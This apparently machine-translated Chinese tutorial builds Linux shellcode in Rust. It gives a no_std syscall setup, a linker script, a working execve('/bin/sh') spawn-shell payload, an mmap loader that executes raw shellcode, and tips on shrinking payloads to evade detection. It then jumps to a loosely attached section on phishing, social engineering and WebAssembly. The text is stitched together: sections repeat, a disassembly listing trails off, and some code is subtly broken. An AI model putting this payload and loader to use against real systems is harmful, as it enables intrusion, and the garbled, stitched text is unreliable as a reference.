在系統程式設計領域，Rust 語言的安全性與效能特性使其成為 Shellcode 開發的利器。本文將逐步解析如何利用 Rust 建立 no_std 環境，結合內聯組合語言撰寫系統呼叫，並搭配自定義連結器指令碼生成 Shellcode。文章涵蓋了從基礎概念到實際案例的完整流程，包含 spawn shell 的 Shellcode 範例，以及使用 mmap 技術在記憶體中執行 Shellcode 的方法。此外，也探討瞭如何最佳化 Shellcode 程式碼，以減少程式碼體積並提升執行效率。最後，文章也關注了網路安全議題，討論了社會工程學和 WebAssembly 在網路網路釣魚攻擊中的應用，並提供了一些防範建議。
本章重點整理
Shellcode 基本概念：瞭解 Shellcode 的定義和作用。
Rust 編譯過程：掌握 Rust 程式碼的編譯流程。
no_std 環境：學習如何在沒有標準函式庫的情況下編寫 Rust 程式。
內聯組合語言：瞭解如何在 Rust 中使用內聯組合語言。
進階 Shellcode 開發：研究更複雜的 Shellcode 開發技術。
系統程式開發：利用 Rust 和組合語言開發系統層級的程式。
安全性研究：深入研究與 Shellcode 相關的安全問題和防禦措施。
使用Rust編寫Shellcode的技術解析與實踐
在現代網路安全領域中，Shellcode的開發與利用是一項重要的技術。隨著Rust語言在系統程式設計領域的興起，利用Rust開發Shellcode成為了一個值得探討的話題。本文將探討如何使用Rust編寫Shellcode，包括相關的技術細節和實踐經驗。
Rust在Shellcode開發中的優勢
Rust作為一門系統程式語言，具有多項特性使其成為開發Shellcode的理想選擇：
- 記憶體安全保障：Rust的所有權系統和借用檢查器能夠有效防止常見的記憶體錯誤。
- 零成本抽象：Rust的抽象機制不會引入執行時的額外開銷。
- 跨平台支援：Rust支援多種目標架構和作業系統。
建立最小化Shellcode環境
要使用Rust開發Shellcode，首先需要建立一個no_std環境，並停用標準函式庫。這可以透過以下組態實作：
# Cargo.toml 組態
[profile.dev]
panic = "abort"
[profile.release]
panic = "abort"
opt-level = "z"
lto = true
codegen-units = 1
程式碼實作
#![no_std]
#![no_main]
use core::arch::asm;
#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
loop {}
}
const SYS_WRITE: usize = 1;
const SYS_EXIT: usize = 60;
const STDOUT: usize = 1;
static MESSAGE: &str = "hello world\n";
unsafe fn syscall3(scnum: usize, arg1: usize, arg2: usize, arg3: usize) -> usize {
let ret: usize;
asm!(
"syscall",
in("rax") scnum,
in("rdi") arg1,
in("rsi") arg2,
in("rdx") arg3,
out("rcx") _,
out("r11") _,
lateout("rax") ret,
options(nostack),
);
ret
}
#[no_mangle]
fn _start() {
unsafe {
syscall3(
SYS_WRITE,
STDOUT,
MESSAGE.as_ptr() as usize,
MESSAGE.len() as usize,
);
asm!("syscall", in("rax") SYS_EXIT, in("rdi") 0);
}
}
內容解密：
- 使用
#![no_std]和#![no_main]屬性來停用標準函式庫和預設的main函式。 - 實作
panic_handler來處理panic情況。 - 定義系統呼叫號和相關常數。
- 使用內聯組合語言實作系統呼叫函式
syscall3。 - 在
_start函式中執行系統呼叫來輸出"hello world\n"並離開程式。
自定義連結器指令碼
為了生成合適的Shellcode，需要使用自定義的連結器指令碼：
/* shellcode.ld */
ENTRY(_start);
SECTIONS {
. = ALIGN(16);
.text : {
*(.text.prologue)
*(.text)
*(.rodata)
}
.data : {
*(.data)
}
/DISCARD/ : {
*(.interp)
*(.comment)
*(.debug_frame)
}
}
編譯與連結組態
需要在.cargo/config.toml中指定自定義連結器指令碼：
[build]
rustflags = ["-C", "link-arg=-nostdlib", "-C", "link-arg=-static", "-C", "link-arg=-Wl,-T../shellcode.ld,--build-id=none"]
內容解密：
- 使用
ENTRY(_start)指定程式入口點。 - 定義
.text段包含程式碼和唯讀資料。 - 使用
/DISCARD/指令丟棄不需要的段。
實際Shellcode開發：Spawn Shell
要開發一個spawn shell的Shellcode，需要使用execve系統呼叫：
C語言參考實作
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
Rust實作
#![no_std]
#![no_main]
use core::arch::asm;
// ... (其他程式碼保持不變)
const SYS_EXECVE: usize = 59;
static BIN_SH: &[u8] = b"/bin/sh\x00";
#[no_mangle]
fn _start() {
unsafe {
let args = [BIN_SH.as_ptr() as usize, 0, 0];
syscall3(
SYS_EXECVE,
BIN_SH.as_ptr() as usize,
args.as_ptr() as usize,
0,
);
asm!("syscall", in("rax") SYS_EXIT, in("rdi") 0);
}
}
內容解密：
- 定義
execve系統呼叫號。 - 建立
/bin/sh字串並確保以null結尾。 - 設定
execve的引數：檔案路徑、引數陣列和環境變數。 - 使用系統呼叫執行
execve。
執行Shellcode的方法
有幾種方法可以在Linux上執行Shellcode：
- 嵌入到.text段：使用特殊的屬性將Shellcode嵌入到程式的可執行段中。
- 使用mmap建立可執行記憶體對映：將Shellcode複製到透過mmap建立的可執行記憶體區域中並執行。
mmap實作範例
use mmap::{
MapOption::{MapExecutable, MapReadable, MapWritable},
MemoryMap,
};
const SHELLCODE: &[u8] = include_bytes!("../shellcode.bin");
fn main() {
let map = MemoryMap::new(SHELLCODE.len(), &[MapReadable, MapWritable, MapExecutable]).unwrap();
unsafe {
std::ptr::copy(SHELLCODE.as_ptr(), map.data(), SHELLCODE.len());
let exec_shellcode: extern "C" fn() -> ! = std::mem::transmute(map.data());
exec_shellcode();
}
}
內容解密：
- 使用mmap建立一個可讀、可寫且可執行的記憶體對映。
- 將Shellcode複製到對映的記憶體區域中。
- 將記憶體位址轉換為函式指標並執行。
從零開始開發獨立執行的Shellcode
在資訊安全領域中，Shellcode是一種用於在目標系統上執行惡意程式碼的技術。本文將探討如何使用Rust語言從零開始開發一個能夠獨立執行的Shellcode，並對其進行詳細分析和改進。
瞭解Shellcode的基本原理
Shellcode是一種小型程式碼，通常用於利用系統漏洞並在目標系統上執行惡意操作。其核心特點是能夠獨立執行，不依賴外部環境。為了實作這一點，Shellcode必須滿足以下條件：
- 位置獨立: Shellcode必須能夠在任意記憶體位址執行。
- 無外部依賴: Shellcode不能依賴外部函式庫或系統呼叫以外的介面。
- 最小化: Shellcode應盡可能簡潔，以減少被偵測的風險。
建構基礎的Shellcode框架
首先，我們需要設定Rust的編譯環境，以確保能夠產生符合要求的執行檔。主要步驟包括：
- 設定
panic_handler以處理異常情況。 - 定義系統呼叫編號和必要的常數。
- 實作
syscall3函式以進行系統呼叫。
程式碼實作
use core::arch::asm;
#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
loop {}
}
const SYS_EXECVE: usize = 59;
const SHELL: &str = "/bin/sh\x00";
const ARGV: [*const &str; 2] = [&SHELL, core::ptr::null()];
const NULL_ENV: usize = 0;
unsafe fn syscall3(syscall: usize, arg1: usize, arg2: usize, arg3: usize) -> usize {
let ret;
asm!(
"mov rax, rdi",
"mov rdi, rsi",
"mov rsi, rdx",
"mov rdx, rcx",
"syscall",
in("rdi") syscall,
in("rsi") arg1,
in("rdx") arg2,
in("rcx") arg3,
lateout("rax") ret,
options(nostack)
);
ret
}
#[no_mangle]
fn _start() -> ! {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
unsafe {
syscall3(SYS_EXECVE, shell.as_ptr() as usize, argv.as_ptr() as usize, NULL_ENV);
}
loop {}
}
內容解密：
panic_handler的定義：當程式發生panic時，進入無限迴圈，避免程式終止。syscall3函式的實作：使用內嵌組合語言進行系統呼叫，確保能夠正確傳遞引數。_start函式的實作：使用syscall3執行execve系統呼叫，啟動新的shell程式。
分析與除錯Shellcode
在建構完成後，我們需要對產生的Shellcode進行分析與除錯，以確保其正確性。主要步驟包括：
- 反組譯產生的執行檔，檢查指令是否正確。
- 使用GDB進行動態除錯，觀察程式執行過程中的暫存器狀態和記憶體內容。
反組譯結果分析
Disassembly of section .data:
00000000 <.data>:
0: 48 83 ec 20 sub rsp,0x20
4: 48 8d 3d 24 00 00 00 lea rdi,[rip+0x24]
b: 48 89 e0 mov rax,rsp
e: 48 89 38 mov QWORD PTR [rax],rdi
11: 48 8d 74 24 10 lea rsi,[rsp+0x10]
16: 48 89 06 mov QWORD PTR [rsi],rax
19: 48 83 66 08 00 and QWORD PTR [rsi+0x8],0x0
1e: 48 c7 40 08 08 00 00 mov QWORD PTR [rax+0x8],0x8
25: 00
26: 6a 3b push 0x3b
28: 58 pop rax
29: 31 d2 xor edx,edx
2b: 0f 05 syscall
2d: eb fe jmp 2d <_start+0x2d>
圖表翻譯：
graph LR A[開始] --> B[分配堆積疊空間] B --> C[載入字串位址] C --> D[設定引數] D --> E[執行系統呼叫] E --> F[無限迴圈]
此圖表展示了Shellcode執行的流程，從堆積疊空間分配到系統呼叫執行的完整過程。
最佳化與改進Shellcode
在完成初步的Shellcode後，我們需要對其進行最佳化和改進，以提高其可靠性和隱蔽性。主要改進方向包括：
- 移除不必要的指令：減少Shellcode的長度，降低被偵測的風險。
- 使用位置獨立的程式碼：確保Shellcode能夠在任意記憶體位址正確執行。
程式碼最佳化
透過使用Rust的never型別（!），可以避免編譯器產生不必要的清理指令，從而進一步縮減Shellcode的大小。
#[no_mangle]
fn _start() -> ! {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
unsafe {
syscall3(SYS_EXECVE, shell.as_ptr() as usize, argv.as_ptr() as usize, NULL_ENV);
}
loop {}
}
最佳化後的反組譯結果
Disassembly of section .data:
00000000 <.data>:
0: 48 83 ec 20 sub rsp,0x20
4: 48 8d 3d 24 00 00 00 lea rdi,[rip+0x24]
b: 48 89 e0 mov rax,rsp
e: 48 89 38 mov QWORD PTR [rax],rdi
11: 48 8d 74 24 10 lea rsi,[rsp+0x10]
16: 48 89 06 mov QWORD PTR [rsi],rax
19: 48 c7 c2 00 00 00 00 mov rdx,0x0
20: ...
9. 網路網路釣魚與 WebAssembly
在某些情況下，尋找技術漏洞並不可行：你可能沒有足夠的技能、合適的團隊，或者根本沒有足夠的時間。當無法攻擊基礎設施時，我們可以轉而攻擊人。而且，我有個好訊息：大多數時候，人比基礎設施更容易受到攻擊。此外，網路網路釣魚攻擊的成本非常低。
然而，電腦駭客需要深入的技術知識來理解作業系統和程式語言的工作原理，而人為駭客則需要了解人類的工作方式來影響他們。
9.1 社會工程學
社會工程學的核心是說服。說服某人提供資訊、做某事，或給予你不應該擁有的存取許可權。
雖然工程學課程中很少涉及說服力的學習，但它卻是任何計畫中的關鍵要素：一旦你想做某事，總會有人找出理由反對。這時你有兩個選擇：
- 要麼放棄。
- 要麼說服反對者，讓他們相信你想做的事情是正確的，並且有必要去做。
正如你可能已經猜到的，我們將在這一章中學習後者。而且，我還有個更好的訊息：說服的藝術在2000年間都沒有改變！因此，有無數關於這個主題的著述。
社會工程學的基本原理
社會工程學攻擊成功的關鍵在於理解人類的心理和行為模式。攻擊者通常利用人們的信任、好奇心或恐懼心理來達到目的。常見的社會工程學攻擊手段包括：
- 網路釣魚郵件：偽裝成可信的機構傳送郵件，誘導受害者點選惡意連結或下載惡意附件。
- 假冒身份：冒充公司員工、IT支援人員或其他可信角色，以取得敏感資訊。
- 心理操控：利用緊迫感、威脅或其他心理手段迫使受害者做出不利於自己的決定。
如何防範社會工程學攻擊
- 提高安全意識：定期進行安全培訓，讓員工瞭解常見的社會工程學攻擊手段。
- 驗證身份：對於任何要求提供敏感資訊或操作的請求，都要仔細核實對方的身份。
- 使用安全工具：佈署郵件過濾系統、入侵檢測系統等安全工具，以減少社會工程學攻擊的成功率。
9.2 WebAssembly 與網路網路釣魚
WebAssembly（WASM）是一種新的二進位制格式，可以在現代網頁瀏覽器中執行。它為開發者提供了更高的效能和更多的靈活性。然而，就像其他技術一樣，WASM 也可能被用於惡意目的，例如網路網路釣魚攻擊。
WASM 在網路網路釣魚中的應用
- 惡意程式碼執行：攻擊者可以利用 WASM 在瀏覽器中執行惡意程式碼，從而繞過傳統的安全防護措施。
- 隱蔽性增強：由於 WASM 是二進位制格式，因此比 JavaScript 更難被分析和檢測，這使得它成為隱藏惡意行為的理想選擇。
- 跨平台攻擊：WASM 的跨平台特性使得攻擊者可以輕易地將惡意程式碼佈署到不同的平台上。
如何防範根據 WASM 的網路網路釣魚攻擊
- 加強瀏覽器安全：定期更新瀏覽器和相關外掛，以修補已知的安全漏洞。
- 使用安全軟體：佈署能夠檢測和分析 WASM 程式碼的安全軟體，以識別潛在的惡意行為。
- 提高使用者意識：教育使用者瞭解網路網路釣魚的風險，並教導他們如何識別和避免可疑的網頁內容。
本章重點
- 社會工程學是網路網路釣魚攻擊的核心。
- WebAssembly 為網路網路釣魚攻擊提供了新的技術手段。
- 提高安全意識和使用安全工具是防範網路網路釣魚攻擊的關鍵。
9.4 未來展望
隨著技術的不斷發展，網路網路釣魚攻擊的手法也在不斷演變。未來，我們需要繼續關注新的技術趨勢，並採取相應的安全措施，以保護自己免受不斷變化的網路威脅。
// 示例程式碼：使用 Rust 進行 WASM 開發
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub fn greet(name: &str) {
alert(&format!("Hello, {}!", name));
}
程式碼解析
wasm_bindgen宏：用於將 Rust 程式碼編譯為 WASM，並與 JavaScript 進行互操作。greet函式：一個簡單的函式，用於彈出一個包含問候訊息的對話方塊。alert函式：由wasm_bindgen自動生成的 JavaScript 函式，用於顯示對話方塊。
本章內容展示瞭如何使用 Rust 和 WebAssembly 進行開發，並討論了與網路網路釣魚相關的安全問題。透過瞭解這些技術和威脅，我們可以更好地保護自己和我們的系統。
